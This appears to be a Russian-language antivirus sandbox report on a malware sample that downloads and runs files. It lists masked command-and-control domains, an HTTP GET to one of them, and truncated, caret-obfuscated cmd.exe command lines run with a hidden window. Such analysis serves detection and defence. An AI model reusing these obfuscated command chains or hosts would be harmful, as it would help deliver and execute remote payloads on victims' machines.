Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' wtDoMjp CfioKhQzVFzokFVttlkHU naNYowQMIcKSd & %co^m^S^p^E^c% /c c^M^d, ,, ^/^V ^ , ,, /^r" , ,, (, , , ( , (S^eT ^ aT^I^6=^G3H Ex0 1n^t 5lS Mt^L^ ^d^Fx ^F^Vy lZx^ eD7 k^pB o2N^ H^lN...
Сетевая активность
Подключается к
- 'oc####gactors.com':80
- 'br########e.b2ldigitalprojects.com':80
TCP
Запросы HTTP GET
- http://www.oc####gactors.com/NzGucd
UDP
- DNS ASK oc####gactors.com
- DNS ASK in####tywa.edu.pl
- DNS ASK mi####vka-school.ru
- DNS ASK br########e.b2ldigitalprojects.com
- DNS ASK ba##e.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' wtDoMjp CfioKhQzVFzokFVttlkHU naNYowQMIcKSd & %co^m^S^p^E^c% /c c^M^d, ,, ^/^V ^ , ,, /^r" , ,, (, , , ( , (S^eT ^ aT^I^6=^G3H Ex0 1n^t 5lS Mt^L^ ^d^Fx ^F^Vy lZx^ eD7 k^pB o2N^ H^lN...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' , ,, /V , ,, /r" , ,, (, , , ( , (S^eT ^ aT^I^6=^G3H Ex0 1n^t 5lS Mt^L^ ^d^Fx ^F^Vy lZx^ eD7 k^pB o2N^ H^lN j^CD ^e^BX^ ^Fno F^L^U R^Bk fX5}5^zU^}B^r^g{^y^e^z^hh^u^2cD^c^z^tLa^Oa^EJcc...
